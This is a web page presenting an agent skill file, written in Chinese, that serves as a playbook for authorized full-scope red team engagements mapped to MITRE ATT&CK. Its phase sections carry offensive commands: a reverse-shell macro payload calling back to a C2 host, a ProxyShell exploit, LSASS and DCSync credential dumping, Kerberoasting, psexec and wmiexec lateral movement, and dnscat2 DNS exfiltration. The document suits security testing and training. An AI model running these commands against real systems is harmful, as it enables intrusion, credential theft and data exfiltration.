L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

conducting-full-scope-red-team-engagement

conducting-full-scope-red-team-engagement

规划并执行全范围红队演练,覆盖从侦察到后渗透的完整攻击链,使用符合 MITRE ATT&CK 的战术技术和程序(TTP),以评估组织的检测和响应能力。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: conducting-full-scope-red-team-engagement description: 规划并执行全范围红队演练,覆盖从侦察到后渗透的完整攻击链,使用符合 MITRE ATT&CK 的战术技术和程序(TTP),以评估组织的检测和响应能力。 domain: cybersecurity subdomain: red-teaming tags: [red-team, adversary-emulation, mitre-attack, penetration-testing, offensive-security, purple-team, ttp-mapping] version: "1.0" author: mahipal license: Apache-2.0

执行全范围红队演练

概述

全范围红队演练(Full-Scope Red Team Engagement)模拟真实世界的对手行为,覆盖网络杀伤链(Cyber Kill Chain)的所有阶段——从初始侦察到数据外泄——以评估组织的检测、预防和响应能力。与渗透测试(Penetration Testing)不同,红队行动优先注重隐蔽性、持久化和基于目标的场景,模拟高级持续性威胁(APT)。

前置条件

  • 经高管领导签署的书面授权(交战规则文件)
  • 明确的范围界定,包括在测试范围内/外的系统、升级联系人和紧急停止程序
  • 相关对手组织的威胁情报(如 APT29、FIN7、Lazarus Group)
  • 红队基础设施:C2 服务器、重定向器、钓鱼域名、载荷开发环境
  • 确认符合《计算机欺诈和滥用法》(CFAA)及当地法律的法律审查

演练阶段

阶段一:规划与威胁建模

根据威胁配置文件,将演练映射到特定 MITRE ATT&CK 战术和技术:

杀伤链阶段MITRE ATT&CK 战术示例技术
侦察(Reconnaissance)TA0043T1593 搜索开放网站/域名, T1589 收集受害者身份信息
资源开发TA0042T1583.001 获取基础设施:域名, T1587.001 开发能力:恶意软件
初始访问TA0001T1566.001 鱼叉式钓鱼附件, T1078 有效账户
执行TA0002T1059.001 PowerShell, T1204.002 用户执行:恶意文件
持久化TA0003T1053.005 计划任务, T1547.001 注册表运行键
权限提升TA0004T1068 利用漏洞提权, T1548.002 UAC 绕过
防御规避TA0005T1055 进程注入, T1027 混淆文件
凭据访问TA0006T1003.001 LSASS 内存, T1558.003 Kerberoasting
发现TA0007T1087 账户发现, T1018 远程系统发现
横向移动TA0008T1021.002 SMB/Windows 管理共享, T1550.002 哈希传递
收集TA0009T1560 归档收集数据, T1213 来自信息存储库的数据
数据外泄TA0010T1041 通过 C2 信道外泄, T1048 通过替代协议外泄
影响TA0040T1486 加密数据以影响业务, T1489 停止服务

阶段二:侦察(OSINT)

# 被动 DNS 枚举
amass enum -passive -d target.com -o amass_passive.txt

# 证书透明度日志搜索
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn 员工枚举
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# 技术栈指纹识别
whatweb -v target.com --log-json=whatweb.json

# 泄露数据凭据搜索(已授权)
h8mail -t target.com -o h8mail_results.csv

阶段三:初始访问

红队演练常见的初始访问向量:

鱼叉式钓鱼(T1566.001):

# 生成带宏的载荷
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# 配置 GoPhish 活动
# 配置 SMTP 配置文件、带借口的电子邮件模板和着陆页
gophish --config config.json

外部服务利用(T1190):

# 扫描易受攻击的服务
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# 利用已知 CVE(示例:ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

阶段四:后渗透与横向移动

# 态势感知(T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# 从 LSASS 收集凭据(T1003.001)
# 使用 Havoc C2 内置模块
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting(T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# 通过 WMI 横向移动(T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# 通过 PsExec 横向移动(T1021.002)
psexec.py domain/admin:password@fileserver.target.com

阶段五:目标达成

定义并追求特定目标:

  1. 域控制:获得域管理员访问权限并 DCSync 凭据
  2. 数据外泄:定位并外泄关键数据(如 PII、财务记录)
  3. 业务影响模拟:展示勒索软件部署能力(不实际执行)
  4. 物理访问:门禁卡克隆、尾随跟踪、服务器室访问
# DCSync 攻击(T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

# 通过 DNS 外泄数据(T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

阶段六:报告与汇报

报告应包含:

  1. 高管摘要:业务影响、风险评级、关键发现
  2. 攻击叙述:带截图和证据的活动时间线
  3. MITRE ATT&CK 映射:使用技术的完整热力图
  4. 发现事项:每个发现的 CVSS 分数、证据和修复建议
  5. 检测差距分析:SOC 检测到的与遗漏的内容对比
  6. 紫队(Purple Team)建议:针对已识别差距的具体检测规则

指标与 KPI

指标描述
平均检测时间(MTTD)从行动到 SOC 检测的平均时间
平均响应时间(MTTR)从检测到遏制的平均时间
TTP 覆盖率已执行技术中被检测到的百分比
目标达成率已完成的预定目标百分比
驻留时间红队维持访问而未被检测到的总时间

工具与框架

  • C2 框架: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
  • 侦察: Amass, Recon-ng, theHarvester, SpiderFoot
  • 利用: Metasploit, Impacket, CrackMapExec, Rubeus
  • 后渗透: Mimikatz, SharpCollection, BOF.NET
  • 报告: PlexTrac, Ghostwriter, Serpico

参考资料

Skills enregistrées